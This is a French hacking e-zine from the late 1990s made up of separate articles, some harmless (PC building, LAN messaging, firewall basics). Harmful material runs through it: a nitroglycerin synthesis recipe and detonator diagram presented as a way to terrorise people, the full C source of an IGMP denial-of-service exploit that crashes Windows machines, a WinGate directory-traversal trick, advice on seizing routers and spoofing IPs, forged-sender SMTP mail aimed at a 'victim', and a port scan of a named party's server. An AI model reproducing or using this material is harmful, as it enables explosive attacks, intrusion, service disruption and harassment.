Avec plusieurs autres routeurs et Bastion Hosts, on forme une batterie de pont-levis a un reseau. Physiquement plus difficile a representer, mais un resultat plus securise dans un environnemt robuste. Normalement il se constitue comme suit : Un routeur avec une connexion sur le reseau exterieur et une autre sur un Bastion Host. Le bastion Host a une connexion sur le routeur le plus proche de la sortie et une connexion sur un autre bastion host, avec une connexion réseau adressable au milieu. Le bastion host le plus proche de l'intérieur a une connexion vers le bastion host le plus proche de la sortie et une autre connexion sur un routeur interne. Le routeur interne a une connexion vers le Bastion host le plus proche de l'entree du réseau interne. Le resultat de cette configuration tortueuse est que les composants de securite ne bogguent jamais, et toutes les adresses ip internes sont invisibles de l'exterieur, evitant ainsi toute possibilite de "mapping". Les desavantages : Le prix (deux a trois fois plus cher). L'implementation doit etre faite par un professionnel de la securite. A deconseiller aux newbies. Du point de vue client, un serveur proxy est une application qui se substitue aux ressources reseau en se faisant passer pour l'emetteur/recepteur. Du point de vue reseau, le serveur proxy accede aux ressources en se faisant passer pour le client. Les firewall a niveau applicatif peuvent aussi controler un traffic entre deux réseaux. Ils sont aussi capable de proposer des fonctions comme les mesures d'audit et de logging avance. Les statistiques sont plus détaillées mais generalement ne le font pas si bien que ca. C'est avant tout un programme qui s'execute sur une machine qui est attaquable et plantable; le cas echeant, vous crashez le firewall avec. A utiliser en complement avec des firewalls network level.

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*9******************* Organisez vos reunions de hack *************************
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Pour bouger l'underground francais, je vais vous expliquer comment organiser vos petites reunions, d'abord, le premier obstacle : la salle de reunion, pensez bien que vous n'allez pas inviter tout le monde chez vous !!, un usine desafectee fera tres bien l'affaire, meme si ca sent pas tres bon. Evitez d'inviter des lamers car il y a rien de mieux pour vous attirer la police, croyez-en mon experience personnelle. Aussi, prevenez au moins 2 mois a l'avance. Lancez vos invitation par e-mail, et ne les donnez les pas a n'importe qui, il faut d'abord que vous connaissez la personne a qui vous l'envoyez, pas forcement personnellement mais par exemple, sur ses travaux effectues au sein de l'underground. Faites ca de nuit bien sur, mais aussi, dans certains entrepots desafectes, vous pourrez avoir a faire a des gangsters qui seront pas forcements tres corrects avec vous... mais au moins, c'est le meilleur moyen d'apprendre et de poser vos questions directement a la personne, pour l'instant, je les organise de la facon suivante :

  • chaque personne arrive avec au moins 1 expose a presenter devant tout le monde.
  • pas de retard, l'heure c'est l'heure, si votre rendez-vous est a minuit, et qu'un personne arrive a minuit cinq, refusez-le car ca peut etre un policier deguise.
  • Tous les exposes doivent etre accompagnes d'exemples concrets et precis.
  • La reunion ne dure pas plus de 3 heures, plus elle est courte, mieux c'est.
  • Boissons, gateaux sont les bienvenus.


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*10**************** Cracker son password BIOS pas MS-DOS *********************
------------------------------| Clad Strife |---------------------------------


Bon... Il y a trois solutions pour buter son ch'tit password Bios.

  1. En devissant le boitier, en trouvant la batterie du Bios, en faisant ejecter celle-ci. Ou encore trouver le cavalier qui permet d'effacer de la mémoire le contenu de la carte mere et le faire commuter. Cel‡ peut ne pas marcher si le boitier est ferme ‡ clefs, si la batterie est intégrée au composant qui stocke le contenu des reglages etc...
  2. On peut aussi essayer de décrypter le password du Bios, la il faudra faire appel ‡ des programmes ou ‡ des techniques différentes...
  3. Héhé, la vraie technique que l'on va aborder:
    • modifier le CONTENU de la mémoire du Bios, avec un programme fourni le plus souvent avec le système d'exploitation... Mais n'oubliez pas de lancer le programme avec le pc allumé ici!


En fait le Bios dispose d'une mémoire appelée CMOS. En general ils ont a leur disposition une procedure de controle qui verifie au démarrage l'integrite des donnees de la memoire... regardez sur votre ecran au demarrage: un message tel que Bios Installed Succesfully devrait generalement s'afficher. Cette procedure s'appelle la "CMOS Cheksum" et donne donc lieu ‡ une "CMOS Cheksum Error", si il y a des blems! Dans ces cas le Bios va tenter de réinitialiser la CMOS avec des valeurs par défaut. Justement: en general l'option par défaut pour le mot de passe est de desactiver celui-ci! Il existera mais ne sera pas demande ‡ l'amorcage. Mais ceci valable non seulement avec le mot de passe standard mais aussi avec le mot de passe qui permet de rentrer dans le Setup. Alors comment modifier le CMOS??? Eh ben via les ports d'entree-sortie, c'est ‡ dire les ports peremettant directement de communiquer avec un element materiel sans passer par l'OS. Les ports qui nous interesse sont les ports 70h et 71h . Pour acceder en lecture ou en ecriture a un octet de la CMOS, il faut d'abord indiquer au Bios quel octet on desire atteindre. Ceci se fait par un acces en ecriture sur le port 70h avec le numero de l'octet. Un acces en lecture ou en ecriture au port 71h permettra alors de lire ou d'ecrire sur l'octet considere... Hehe, on a besoin de programmes pour ça nan? eh oui! Microsoft est assez con pour filer de quoi pirater ses propres utilitaires. Car nous allons utiliser Debug, fourni avec Ms-Dos. Problème! Certains Bios semblerait immunisés contre le Cheksum Error. Impossible d'operer alors. Ce sont essentiellement des Bios de marque comme les Bios qui equipent les HP Vectra et dont les informations relatives au mot de passe ne se trouvent pas dans la CMOS mais dans un autre memoire de meme type.

MODIFIER LE CMOS AVEC DEBUG:
Depuis la ligne de commande sous Ms-Dos tapez: DEBUG.
Pour avoir de l'aide tapez '?'. La commande a utiliser pour realiser un acces en ecriture sur un port est: O port valeur (les valeurs sont ‡ rentrer en hexadecimal et sans le 'h'). Essayer de taper dans l'intervalle standard avec un truc du genre:

 O 70 20 
O 71 66

Si ca ne marche pas essayez d'autres octets.

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*11************************* Le FTP sous MS-DOS ******************************
------------------------------| Clad Strife |---------------------------------


Vague article qui expliquera peut-etre qu'on peut faire du FTP sous Ms-Dos, et ce qu'on peut y faire surtout. Allez sous Ms-Dos et de la tapez:

 ftp 
ftp> open
(to) www.url.com

Normalement apres ca on vous demandera unb login et un password. Sur les comptes ou l'on peut rentrer en anonyme le nom d'user sera: anonymous et l'e-mail: le votre ou un e-mail bidon.
Vous aurez alors accès au compte restreint pours les utilisateurs anonymes. Si il n'y a pas de session [anonymous], alors la connection sera fermee.
Vous pouvez essayer de trouve le login de l'administrateur du site, en faisant un lookup du serveur ou un peu au hasard.
Pour aller plus vite tapez:

 ftp 
open www.url.com

Ainsi vous n'aurez pas ‡ retourner ‡ la ligne [ (to) ] ‡ chaque fois.
Pour quitter la session FTP de DOS tapez: bye


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*12****************************** Anarchie ***********************************
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I. Creation d'un detonateur

Amusons nous un peu a terroriser le peuple francais, connu pour sa reputation de gueulards, d'ailleurs :
Vous connaissez pourquoi les francaises ont des petits seins ?
Parce que les francais ont des petites mains et une grande gueule Je vais vous detailler le schema d'un detonateur :

LE DETONATEUR A LIBERATION DE TENSION :

 _____________________________ 
| __________ __________ | 1. Amorce d'explosion
| | | | | | 2. Plaque de metal
| | PILE 1 | | PILE 2 | | 3. Bras en metal
|*< |< ** | 4. Piles 4,5 V
|* | 4 | | 4 |* | *. Fil metalique
|* |__________| |__________|* |
|*___________________********_|
|*___ ___ |__ * |
|*|D| |D| | | __* |
|*|Y| |Y| |2 | / / |
|*|N| |N| |__| / / |
|*|A|_|A| |___/ / |
|****1--| _3__/ |
| |M|-|M| | |
| |Y| |Y| | |
| |T| |T| | |
| |E| |E| | |
| |_| |_| | |
|_________|___________________|


II. Comment faire de la nytroglycerine ?
Voici un petit texte en anglais, j'ai peur de faire des fautes de traduction alors essayez de comprendre, je n'ai pas demande l'avis de cet auteur pour mettre son texte et je peux pas mettre son nom ici car il est anonyme, mais c'est pas moi qui l'ai fait

  1. FILL A 75-MILLILITER BEAKER TO THE 13 ML. LEVEL WITH FUMING RED NITRIC ACID, OF 98% PURE CONCENTRATION.
  2. PLACE THE BEAKER IN AN ICE BATH AND ALLOW TO COOL BELOW ROOM TEMP.
  3. AFTER IT HAS COOLED, ADD TO IT THREE TIMES THE AMOUNT OF FUMING SULFERIC ACID (99% H2SO4).IN OTHER WORDS, ADD TO THE NOW-COOL FUMING NITRIC ACID 39 ML. OF FUMING SULFERIC ACID. WHEN MIXING ANY ACIDS, ALWAYS DO IT SLOWLY AND CAREFULLY TO AVOID SPLATTERING.
  4. WHEN THE TWO ARE MIXED, LOWER THIER TEMP. BY ADDING MORE ICE TO THE BATH, ABOUT 10-15 DEGREES CENTIGRADE. (USE A MERCURY-OPERATED THERMOMETER)
  5. WHEN THE ACID SOLUTION HAS COOLED TO THE DESIRED TEMPERATURE, IT IS READY FOR THE GLYCERIN. THE GLYCERIN MUST BE ADDED IN SMALL AMOUNTS USING A MEDICINE DROPPER. (READ THIS STEP ABOUT 10 TIMES!) GLYCERIN IS ADDED SLOWLY AND CAREFULLY (I MEAN CAREFUL!) UNTIL THE ENTIRE SURFACE OF THE ACID IT COVERED WITH IT.
  6. THIS IS A DANGEROUS POINT SINCE THE NITRATION WILL TAKE PLACE AS SOON AS THE GLYCERIN IS ADDED. THE NITRATION WILL PRODUCE HEAT, SO THE SOLUTION MUST BE KEPT BELOW 30 DEGREES CENTIGRADE! IF THE SOLUTION SHOULD GO ABOVE 30 DEGREES, IMMEDIATELY DUMP THE SOLUTION INTO THE ICE BATH! THIS WILL INSURE THAT IT DOES NOT GO OFF IN YOUR FACE!
  7. FOR HTE FIRST TEN MINUTES OF NITRATION, THE MIXTURE SHOULD BE GENTLY STIRRED. IN A NORMAL REACTION THE NITROGLYCERIN WILL FORMAS A LAYER ON TOP OF THE ACID SOLUTION, WHILE THE SULFERIC ACID WILL ABSORB THE EXCESS WATER.
  8. AFTER THE NITRATION HAS TAKEN PLACE, AND THE NITROGLYCERIN HAS FORMED ON THE TOP OF THE SOLUTION, THE ENTIRE BEAKER SHOULD BE TRANSFERRED SLOWLY AND CAREFULLY TO ANOTHER BEAKER OF WATER. WHEN THIS IS DONE THE NITROGLYCERIN WILL SETTLE AT THE BOTTEM SO THE OTHER ACIDS CAN BE DRAINED AWAY.
  9. AFTER REMOVING AS MUCH ACID AS POSIBLE WITHOUT DISTURBING THE NITROGLYCERIN, REMOVE THE NITROGLYCERIN WITH AN EYEDROPPER AND PLACE IT IN A BICARBONATE OF SODA (SODIUM BICARBONATE IN CASE YOU DIDN'T KNOW) SOLUTION. THE SODIUM IS AN ALKALAI AND WILL NUETRALIZE MUCH OF THE ACID REMAINING. THIS PROCESS SHOULD BE REPEATED AS MUCH AS NECESARRY USING BLUE LITMUS PAPER TO CHECK FOR THE PRESENCE OF ACID. THE REMAINING ACID ONLY MAKES THE NITROGLY- CERIN MORE UNSTABLE THAN IT ALREADY IS.
  10. FINALLY! THE FINAL STEP IS TO REMOVE THE NITROGLYCERIN FROM THE BI- CARBONATE. HIS IS DONE WITH AND EYE-DROPPER, SLOWLY AND CAREFULLY. THE USUAL TEST TO SEE IF NITRATION HAS BEEN SUCCESSFUL IS TO PLACE ONE DROP OF THE NITROGLYCERIN ON METAL AND IGNITE IT. IF IT IS TRUE NITROGLYCERIN IT WILL BURN WITH A CLEAR BLUE FLAME.


** CAUTION **
NITRO IS VERY SENSATIVE TO DECOMPOSITION, HEATING DROPPING, OR JARRING, AND MAY EXPLODE IF LEFT UNDISTURBED AND COOL.


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*13************************* Ecrivez-vous en LAN *****************************
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LAN = Local Area Network, reseau local, mais ca marche quand meme sur le net, mais avec FT, c'est fuckement trop cher, alors il vaut mieux rester en local. Il existe des commandes sympas sous Unix qui permettent de parler avec d'autres gars, cela dit, pour les utilisateurs de windows, il existe winpopup (Demarrer/executer/ puis "winpopup").
La premiere, la plus facile est write +nom_utilisateur pour ecrire un court message a un utilisateur.
Deja, pour avoir la liste des personnes connectees a votre reseau, tapez la commande who, qui vous donnera un truc dur genre :

 root		tty1	Jul	8 20:29 
casper pts/2 Jul 8 20:46
docnitro pts/3 Jul 8 20:48

Ensuite, si vous souhaitez ecrire a docnitro, tapez :
$ write docnitro Salut doc, pourquoi t'es la ?
Attention, le symbole $ n'est pas a taper, c'est simplement pour indiquer la ligne de commande.
Aussi, veillez a bien faire la difference Majuscules/minuscules car capser n'est pas Casper ou CASPER.
Ensuite, si vous souhaitez postez un mail a docnitro, tapez $ mail docnitro
Subject : tapez ici le sujet puis validez tapez maintenant votre message que vous terminerez par un
.
alors, vous verrez Cc, il s'agit de la personne a laquelle vous souhaitez aussi envoyer ce message, validez seulement.
pour quitter, tapez q
c'est bon, votre message est envoye, maintenant, pour le lire, loggez vous sous le nom de la personne et tapez :

 $ mail , puis validez 

vous verrez la liste des messages, tapez le numero du message a lire.
Pour quitter, tapez encore q.
C tout pour aujourd'hui, ca peut toujours depanner qqn et c'est moins cher que l'irc si vous souhaitez discuter, surtout si vous etes en LAN !!!


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*14*************************** Montez votre PC *******************************
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C'est moins cher que de l'acheter tout monte dans un magasin specialise ou diversifie (Darty, Leclerc...) et c'est plus rigolo et glorifiant. Vous pouvez negocier chaque piece, comparer avec d'autres magasins, n'hesitez pas. Vous pouvez vous servir d'une revue avec des photos ou lire la suite de ce texte pour commencer.
D'abord, les pieces a avoir sont, et n'oubliez rien :

  • Carte mere
  • Processeur
  • Memoire RAM
  • Carte graphique
  • Carte son
  • Lecteur de disquettes
  • Lecteur de CDROM
  • Disque Dur
  • Ecran
  • Enceintes
  • Boitier+Alimentation

Tout d'abord, si vous avez a visser votre carte mere, utilisez les surelevateurs fournis, ne vissez pas la carte mere directement plaquee contre le boitier, sinon Bzzzz-... et c'est pas cool.
Ensuite, pour la carte graphique, si elle est AGP, il se peut que vous ayez le probleme de mal l'enclencher car il y a encore des petits problemes avec la norme AGP et parfois, il faut forcer comme un bourrin pour rentrer votre carte. Avant de visser la carte mere dans le boitier, enclenchez le processeur, la RAM. Ensuite, ajouter les disques puis les cartes, maintenant, branchez le tout, en respectant bien la taille des nappes et des fils d'alimentation, cette fois, ne forcez pas, ca rentre facilement.
Ensuite, pour demarrer, il vous faut une disquette de boot et le systeme d'exploitation. avec fdisk, faites vos partitions et installer votre systeme.
C'est pas complique, hein?

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*15************************ Un exercice pratique *****************************
----------------------------| Clad Strife & 3D13 |----------------------------


Il s'agit d'un article qui a ete cree a la base par Clad Strife pour vous reveller une faille dont souffrait wingate, mais j'avais besoin de faire un commentaire pour les debutants afin de la realiser :
Pour pouvoir savoir si la machine attaquee est une cible potentielle, il faut realiser un scan des ports, vous trouvez des scanners partout, c'est d'ailleurs l'outil de base que je vous conseille d'acquerir, par exemple, avec le celebre nmap (que vous trouvez sur www.insecure.org), tapez :

 $ nmap cible.com 

Note : vous etes pas oblige d'avoir linux pour faire tout ca, du moment que vous possedez un scanner de ports, c'est bon.
vous aurez la liste des principaux ports ouverts, vous allez donc chercher une liste detaillee pour savoir si le port 8010 est ouvert, si il est ouvert, c'est bon, vous avez des chances que ca marche, mais attention, ca peut aussi ne pas marcher, si par exemple l'administrateur a reconfigure ce port pour y placer ses outils...
voici maintenant le texte original de Clad Strife :
Wingate comme vous le savez permet ‡ des ordinateurs sous WinNT de partager la meme connection Internet. Ainsi on peut savoir que WinGate utilise le port 8010 pour pouvoir agir. Ainsi certaines failles sur les serveurs WinNT, permettent ‡ n'importe quel utilisateur connecte a Internet et ayant un navigateur quelconque de voir ce qu'a sur ses drivers un serveur mal protégé par le port 8010. Alors trouvez un serveur sous WindowsNT et tapez ceci: http://www.urlNT.com:8010/c:/ ou http://www.urlNT.com:8010/..../ ou bien d'autres choses comme http://www.urlNT.com:8010//

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*16*************************** Faille Windows ********************************
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Il s'agit d'un exploit pour Linux afin d'attaquer un serveur tournant sous Windows, cela vous permet de bloquer un ou plusieurs ports pour faire un denial of service, malhereusement, vous pouvez vous en servir comme nuker, donc evitez cette connerie car c'est un comportement immature, ce code fonctionne pour Unix/Linux, desole pour ceux qui ont windows :-(

 /* 
::: [author] kod.c by klepto/defile klepto@antisocial.com / defile@EFnet
::: [stuph ] bug found by klepto / total rewrite on *nix platform by defile
::: [notes ] bluescreens windows users(98/98se) and kills tcp stack
::: [m$ bug] windows handles igmp badly and this is the result
::: [greets] amputee/nizda/nyt/ignitor/skyline/codelogic/ill`/conio/egotrip/TFreak/napster
::: [greets] dist(test monkey)/naz(you rule period.)/#havok/#irc_addict/#kgb/#eof/everyone
::: [action] ./kod <host> and BEWM!
::: [rant ] there will be lots of rewrites to this.. just get our name right!
de omnibus dubitandum
*/


/*
windows core dump output (*whee*)
An exception 0E has occurred at 0028:C14C9212 in VxD VIP(01) +
00006C72. This was called from 0028:C183FF54 in VcD PPPMAC(04) +
000079BR. It may be possible to continue normally(*not*).
*/


/*
there will be more bugs like this until bill "big moneybags" gates
puts more effort into making windows more stable instead of patching holes.
*/


#include <stdio.h>
#include <netdb.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

size_t hits = 5;
unsigned short port = 100;

void usage (char *progname)
{
printf("Usage: %s <host> -p port -t hits\n", progname);
exit(1);
}

void parse_args (int argc, char *argv[], char **target)
{
int y;

*target = argv[1];

if (argv[1][0] == '-') {
printf ("Must specify a target.\n");
exit (1);
}
for (y=2; y < argc; y++) {
if (!strcmp(argv[y], "-p")) {
y++;
port = atoi (argv[y]);
} else if (!strcmp(argv[y], "-t")) {
y++;
hits = atoi (argv[y]);
}
}
}


int main (int argc, char *argv[])
{
struct sockaddr_in sin;
struct hostent *he;
size_t maxpkt = 15000;
char *target;
char buf[15000];
int sd;

if (argc < 2)
usage (argv[0]);

parse_args (argc, argv, &target);

if ((he = gethostbyname (target)) == NULL) {
herror (target);
exit (1);
}
memcpy (&sin.sin_addr.s_addr, he->h_addr, he->h_length);

sin.sin_family = AF_INET;
sin.sin_port = htons (port);

if ((sd = socket (AF_INET, SOCK_RAW, 2)) == -1) {
perror ("error: socket()");
exit (1);
}

if (-1 == connect (sd, (struct sockaddr *)&sin, sizeof (sin))) {
perror ("error: connect()");
close (sd);
exit (1);
}

puts ("Determining max MSGSIZE");
while (send (sd, buf, maxpkt, 0) == -1) {
if (EMSGSIZE != errno) {
perror ("error: send()");
close (sd);
exit (1);
}
maxpkt -= 1;
}
hits--;

printf ("Max MSGSIZE is %d\n..%d bytes [%s:%d]..\n", maxpkt,
maxpkt, target, port);
while (hits--) {
usleep (50000);
if (send (sd, buf, maxpkt, 0) == -1) {
perror ("error: send()");
close (sd);
exit (1);
}
printf ("..%d bytes [%s:%d]..\n", maxpkt, target, port);
}

sleep (1);
close (sd);
puts ("complete.");

exit (0);
}

compilation : cc ou gcc
gcc kod.c -o kod


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*17******************** Hackez des routeurs par telnet ***********************
------------------------------| Clad Strife |---------------------------------


  • 1°/ Introduction.
  • 2°/ Introduction aux modèles OSI.
  • 3°/ Les fonctions des couches OSI et le réseau.
  • 4°/ les Routeurs et leurs hacking.
  • 5°/ L'IP spoofing.
  • 6°/ Le social engeneering.


1°/ INTRODUCTION
Alors ce que vous allez trouver dans ce zine vous n'allez pas devoir l'appliquer etc... Pour preuve: un de mes potes travaille au SCSSI (Service Central de la Sécurité des Systèmes d'Information ), d'ailleurs le jour ou il va lire ce fichier il va m'dechirer et j'vais m'faire coffrer, et donc ce gars j'peux vous dire qu'il va pas s'f'aire chier si vous faites des bidouilles... Bon j'vais pas vous faire chier avec mes conneries... Tout ce que je vousconseille c de ne pas appliquer ce qui est écrit ci dessous... d'ailleurs je donnerais plus d'informations techniques que d'astuces de hacking... Va falloir apprendre a s'demmerder... d'ailleurs si tu lis ce txt c que z'etes deja pas mal avance. Courte intro... au fait (j'dis ça histoire de meubler la place qui m'reste de place), ci ce texte est en français c parce que les francophone en ont ras-l'bol de devoir lire des txt en english: la moitié des gens pigent rien (j'en sais quelquechose). Bon ce txt est protege par le copyright: tu peux le modifier, ecrire dessus, gribouiller, meme chier dessus si ca t'amuses, mais tu mets mon nom ok??? Nan parce que sinon ca vous f'rais pas chier vous d'savoir que votre boulot n'est pas reconnu? *comment ça non???* :)) Putain... j'vous emmerde avec mes paroles de merde alors que j'parle mÍme pas de trucs intéressants??? Ok bon, c'est partii!

2°/ Introduction aux modèles OSI

Bon sang: faut que je r'devienne sérieux la...
Nan parcequ'en fait ça va devenir corse!!! Qu'est-ce qu'un modele OSI...
C'est un plan de base mis au point par l'ISO (International Standard Organization), qui definit comment seront envoyes les packets d'informations... Ce modele est compose de 7 couches: la couche d'application, de presentation, de session, de transport, la couche reseau, la couche liaison et la couche physique! J'vais pas decrire a quoi sert chaque couche sinon t'en as pour des heures ‡ l'finir ce txt. Alors on va juste s'interesser aux 3 couches les plus basses (la 1, la 2 et la 3), donc la couche reseau, la couche liaison, la physique. Chacune de ces trois couches est en communication avec les autres couches de mÍme nom d'un autre modèle OSI.

La couche réseau: c'est ce qui permet de fournir les moyens d'établir, de maintenir et de liberer des connexions de reseau. Elle permet l'acheminement des packets d'informations via le réseau. L'adressage du reseau est fait par les routeurs. Donc les infos passent par les routeurs eux-memes... En devenant l'administrateur d'un routeur on peut en juger que: on peut recevoir les informations, détourner l'adressage du réseau, etc... En devenant l'administrateur d'un routeur on devient "l'BigBosss" :))

La couche Liaison et la couche Physique nous interesse moins vu que c'est pas la qu'on y trouvera les routeurs ^_^

Voila comment se presente le modele OSI en liaison avec un autre modele OSI:

 =================             ================= 
| 7 APPLICATION | | APLICATION |
================= =================
| 6 PRESENTATION| | PRESENTATION |
================= =================
| SESSION 5 | | SESSION |
================= =================
| TRANSPORT 4 | | TRANSPORT |
================= =================
| RESEAU 3 |-------------| RESEAU |
================= =================
| LIAISON 2 |-------------| LIAISON |
================= =================
| PHYSIQUE 1 |-------------| PHYSIQUE |
================= =================


Bon, un packet d'information va passer par chaque couche avant d'etre envoye via les couches de communications... Ces informations seront encapsulées (=enfermees), dans une "enveloppe"... Le protocole (le protocole X25 en fait) va définir la façon dont l'adresse va Ítre écrite sur l"enveloppe"... En fait un protocole définit les règles d'adressage du packet de données.


3°/ Les fonctions des couches OSI et le réseau
Bon je voulais passer les fonctions des couches mais mon pote me gueule dessus pour que j'te raconte leurs fonctions. on va meme definir celle RESEAU, meme que ça a ete fait ci-haut. Mais abrégeons ^_^:

La couche Application: elle gere le transfert d'informations entre programmes.
La couche Présentation: elle s'occupe de la mise en forme des textes et des conventions d'affichage.
La couche Session: elle s'occupe de l'établissement, de la gestion, de la coordination des communications.
La couche Transport: elle gere la remise correcte des informations.
La couche Réseau: elle determine les routes de transport et s'occupe du traitement et du transfert de messages.
La couche Liaison de donnees: elle s'occupe de du codage, de l'adressage, et de la transmission des informations.
La couche Physique: elle gere les connections matérielles.

4°/ les Routeurs et leurs hacking
OUEEEEE! enfin du pur de dur! Le routeur... Comme explique ci-haut il permet d'indiquer par ou va passer le reseau... (Cependant certaines entreprises offres d'autres services que vous pourrez consulter sur le net...) du moins c'est cette info qui nous intéresse car en devenant l'administrateur d'un routeur il est évident qu'on peut changer l'adressage du reseau, et ainsi de recuperer les informations de la plus haute importance * fantasmez pas l‡! :) *, mais en devenant l'administrateur du reseau on est quasiment le MASTER DU SYSTEME!!! YEAH!!! TU KIFFES CA HEIN? Hehem... bon le tout pour trouver l'adresse d'un routeur est d'abord de trouver le reseau nan? très simple... z'avez l'url: www.perdu.com, merde comment avoir la liste des routeurs de perdu.com? Vous tracez sous dos www.perdu.com de manière ‡ avoir l'adresse IP du site: 207.181.252.100. Sur cette IP seul 207.181 nous intéresse: c ca qui definit l'adresse du reseau... Ainsi on va scanner tout ce qui est sur ce réseau. De nombreux programmes font ça (le meilleur: WS PING PRO PACK sur http://www.ipswitch.com), et on en scannant uniquement ce qui est SNMP on a:

 207.181.252.095 SNMP 207.181.252.161 SNMP 207.181.252.191 SNMP 
207.181.252.192 SNMP 207.181.252.193 SNMP 207.181.252.223 SNMP

Ce qui n'est qu'une petite partie des routeurs.

Pas trop puissant ca? Bien sur j'vous déconseille encore une fois de deconner avec ça... enfin: vous voil‡ prevenu. Maint'nant si vous vous en petez les couilles :)) Eh oui car chaque connexion OU tentative de connexion est enregistree avec votre IP... Rien n'est simple... C'est pour ça qu'il existe le spoofing!!! Kézako??? Vous voulez l'savoir??? Bof, c simple, mais j'vais vous expliquer ca a la fin de ce chapitre. Now je vais vous expliquer:

  • comment te connecter ‡ un routeur.
  • sous quel environnement.
  • que faire sur le routeur.


BON... On s'connait bien maintenant: j'vais vous tutoyer!
Comment se connecter ‡ un routeur: c simple. Une fois que t'as trouve l'adresse d'un routeur: tu te connectes a lui via telnet sur le port SNMP.
Ensuite tu vas devoir utiliser TES methodes (chacun ses methodes) pour trouver les passwords et les pass. Moi pour les logins je fais un lookup de l'adresse IP, pour les pass utilisez l'art du sniffing. Sous quel environnement??? (j'lavais oublié cette question l‡!) telnet bien sur! Que faire sur le routeur, bah ce que t'as envie... en fait j'pensais inclure ici une partie du texte de NeurAlien, mais il préfère qu'on l'oublie alors j'mets rien du tout (le mieux est de taper help pour avoir la liste d'options).


5°/ L'IP
spoofing Bon l'IP spoofing ça consiste en koi? Prenons "Marcel" qui a un compte sur la Machine A, et "Rene" un compte sur la Machine B. "Rene" arrive ‡ se connecter ‡ la Machine B sans procédure d'indentification car celle-ci reconnait son IP! donc si "Marcel" veut s'ramener sur la Machine B va falloir qu'il se fasse identifier comme étant "rene", prendre son IP koi. Now, c ‡ ton tour Bond!!!


VOICI UN TEXTE EN ANGLAIS POUR NOUS AIDER:

 To inet-access@earth.com 
From "Philip J. Nesser II" <pjnesser@martigny.ai.mit.edu>
Date Fri, 18 Apr 1997 01:34:41 -0400 (EDT)
In-Reply-To <199704180202.TAA11037@rgate.metricom.com> from "
Matthew James Gering" at Apr 17, 97 06:59:58 pm
Phone (206)481-4303
Reply-To inet-access@earth.com
Sender inet-access@earth.com
Us-Nail 13501 100th Ave NE, Suite 5202, Kirkland, WA 98034

Matthew James Gering supposedly said:
>
> Would not filtering the outgoing packets on a particular network such that only packets that have source addresses that originate on that network would be allowed to pass, prevent the spoofing of outside addresses?
>
> Is there any negative impact of doing so? If not, why is this not common practice?
>
> ie. If I own xyz/24 and my upstream connection(s) filters to permit only xyz/24 through my link(s), I could not hide the souce network of my packets.
>
> Matt
>

Matt,

Its a good idea in general. You might even say its a network friendly practice. You can see Paul Ferguson's draft at
ftp://ds.internic.net/internet-drafts

If you happen to use IP mobility support its a problem, but other than that go for it.

---> Phil

 ============================== ISP Mailing List ============================== 
Email ``unsubscribe'' to inet-access-request@earth.com to be removed.
Changed email addresses? Use the ``unsubscribe <my_old_address@foo.dom>''
form.
------------------------------------------------------------------------------
------------------------------------------------------------------------------


Ok c compris?

 ------------------------------------------------------------------------------ 
*18**************** Envoyez des mails anonymes par telnet ********************
------------------------------| Clad Strife |---------------------------------


Envoyer des mails anonymes par Telnet, consiste en realite a se connecter ‡ un serveur quelquonque qui accepte les connections telnet par le protocole SMTP (Simple Mail Transfer Protocol). ce protocole utilise le port 25 (on dit ceci par convention mais le port n'appartient pas au protocole), donc voici ce que vous devez faire. Vous devez vous connecter a un serveur (www.moncourrier.com par exemple), sur le port 25 en terminal vt100 (le plus utilisé).

Une fois connecte vous entrez les commandes suivantes :
Le serveur en premier va dire:
220 imedia.vdl2.ca ESMTP Sendmail 8.8.5/8.8.5; Sun, 20 Jun 1999 10:32:21 -0400
(pour s'identifier)
Répondez:
HELO hotmail.com
(Pour vous identifier en tant "qu'Hotmail", Hotmail n'est qu'un exemple)
Réponse du serveur:
250 imedia.vdl2.ca Hello adresse.tcp.serveur.com [VOTRE IP], pleased to meet you
(Pour dire qu'il vous a reconnu)
Répondez:
mail from: hahaha@lol.com (Pour donner l'adresse de l'expéditeur)
Réponse du serveur:
250 hahaha@lol.com... Sender ok (Okay, il accepte l'adresse de l'expéditeur)
Répondez:
rcpt to: lamer@uhc.com (l'E-mail de la victime)
Réponse du serveur:
250 lamer@uhc.com... Recipient ok (l'E-mail de la victime a été accepté)
Répondez:
data (On peut caractériser cette commande comme la fin de saisie des données)
Réponse du serveur:
354 Enter mail, end with "." on a line by itself
(A la fin de votre message vous devrez mettre un point ‡ la ligne)
Répondez par votre message:
Les UHC697 et LES MN sont TOUS des gros LAMERS DE MERDE!!!!
signé: membre des MN QUI VOUS FUCK!!! Baande de copieurs-colleurs...
.
Réponse du serveur:
250 KAA07652 Message accepted for delivery(Et voila! le message arrivera dans
quelques minutes ‡ votre victime!)
Répondez:
quit

Note: Vous pouvez mettre autant de [rcpt to:] que nécessaire avant le data.

 ------------------------------------------------------------------------------ 
*19************************** Le scan du moment ******************************
----------------------------------| 3D13 |------------------------------------

Il s'agit du celebre...Front national, ce putain de FN,

site : www.front-nat.fr

IP : 209.130.76.129
ping : entre 200 et 300 ms machine : apache1.3.4 frontpage

liste des principaux ports ouverts (resultat donne par nmap) :
NB : Nmap examine le fichier /etc/services
7 -> tcp/udp, echo
21 -> tcp, File Transfer [Control]
22 -> tcp, ssh
25 -> tcp, smtp (Simple Mail Transfer Protocol)
80 -> tcp, http/www-http
110 -> tcp, pop3 (Post Office Protocol - Version 3)
443 -> tcp, https
823 -> tcp, inconnu
1672 -> tcp, netview-aix-11
1972 -> tcp, intersys-cache

Je penses que leur machine tourne sous unix car le port 22 est open et comme le port 139 n'est pas ouvert, nous ne sommes pas sous windows.
Cependant, il reste d'autres sytemes : MAC, Bell ou Novell Netware...
Je part dans l'hypothese qu'ils tournent sur une machine unix (prononcez iounixe).

Note additionnelle : Ce passage est un extrait du manuel du pirate, thh.txt qui est en cours d'ecriture par moi-meme.
voici le somaire allechant de ce manuel :


PARTIE I : Contexte

  • I) Les hackers
    • 1∞) Qui sont-ils ?
    • 2∞) Que font-ils ?
    • 3∞) Les plus connus...

  • II) Les crackers
    • 1∞) Qui sont-ils ?
    • 2∞) Que font-ils ?
    • 3∞) Les plus connus...

  • III) Les phreakers
    • 1∞) Qui sont-ils ?
    • 2∞) Que font-ils ?
    • 3∞) Les plus connus...

  • IV) Les differents types de pirates
    • 1∞) Le lamer ou lamerz
    • 2∞) Le newbie
    • 3∞) L'Elite ou E

  • IV) Le vocabulaire a acquerir

  • PARTIE II : La theorie en passant par la pratique
  • I) Le TCP/IP
  • II) Telnet
  • III) Les outils utilises
    • 1∞) Les scanners
